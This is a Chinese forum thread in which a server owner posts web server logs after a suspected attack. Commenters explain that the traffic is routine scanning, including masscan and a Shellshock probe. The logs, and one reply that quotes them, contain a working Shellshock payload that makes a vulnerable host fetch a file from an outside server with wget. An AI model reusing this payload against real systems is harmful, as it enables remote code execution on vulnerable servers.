昨晚服务器貌似被攻击了，大神们来看看！

[justlikemaki]

这些是异常的访问请求：

2015/06/30 15:12:29 [error] 2926#0: *22 open() "/var/www/clientaccesspolicy.xml" failed (2: No such file or directory), client: 54.80.128.131, server: _, request: "GET /clientaccesspolicy.xml HTTP/1.1", host: "167.160.165.36"

54.80.128.131 - - [30/Jun/2015:15:12:29 -0400] "HEAD / HTTP/1.1" 200 0 "-" "Cloud mapping experiment. Contact [e-mail]"

220.181.132.218 - - [30/Jun/2015:16:05:11 -0400] "GET / HTTP/1.1" 200 151 "http://xxxxxxxxx（隐藏一下）/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"

101.199.112.54 - - [30/Jun/2015:16:06:40 -0400] "GET / HTTP/1.1" 200 151 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"

220.181.132.200 - - [30/Jun/2015:16:08:09 -0400] "GET / HTTP/1.1" 200 151 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"

180.153.99.56 - - [30/Jun/2015:17:21:45 -0400] "-" 400 0 "-" "-"
180.153.99.56 - - [30/Jun/2015:17:26:18 -0400] "GET / HTTP/1.0" 200 151 "() { :;}; /bin/bash -c \x22wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=3136372e3136302e3136352e3336\x22" "() { :;}; /bin/bash -c \x22wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=3136372e3136302e3136352e3336\x22"

---

61.240.144.64 - - [30/Jun/2015:23:57:28 -0400] "GET / HTTP/1.0" 200 151 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"

这是哪位河北的大神留下的啊？？？？？？

[realpg]

鉴定：没被攻击
PS 第二条真聪明，利用日志做广告……
我也学会了，下次用这种方式发简历求职好了……

[RIcter]

掃描 shellshock 碰巧掃到你了唄，又沒什麼大事

[justlikemaki]

@realpg () { :;}; /bin/bash -c \x22wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=3136372e3136302e3136352e3336\x22
搞不懂这个是干嘛的。。。

[reb00ts]

莫慌，跑在外网的机器，被扫扫很正常

[lhbc]

@justlikemaki 扫漏洞，好像是之前的libc漏洞。

[knightdf]

这也叫被攻击啊？随便扫了扫你的服务器而已

[DearTanker]

@lhbc
@knightdf

楼上2位，好巧？

[realpg]

@knightdf 你这个头像的大图有么？用beastie做头像N年，发现这个更合适……

[ysjdx]

@justlikemaki bash漏洞

[popok]

@realpg http://tineye.com/search/8df8cfc978e8d0cd21743834479d25f46b259f4f/?sort=size&order=desc

[MrDream]

@popok 大宝？

[zscself]

最后那个是“破壳漏洞” http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

[popok]

@MrDream 什么？

[bios12567496]

@MrDream 哈哈 以为对方是猴大宝了吧？

[knightdf]

@realpg 有啊

[MrDream]

@popok 你头像和另一微博红人的很像。

[MrDream]

@bios12567496 是的 ：）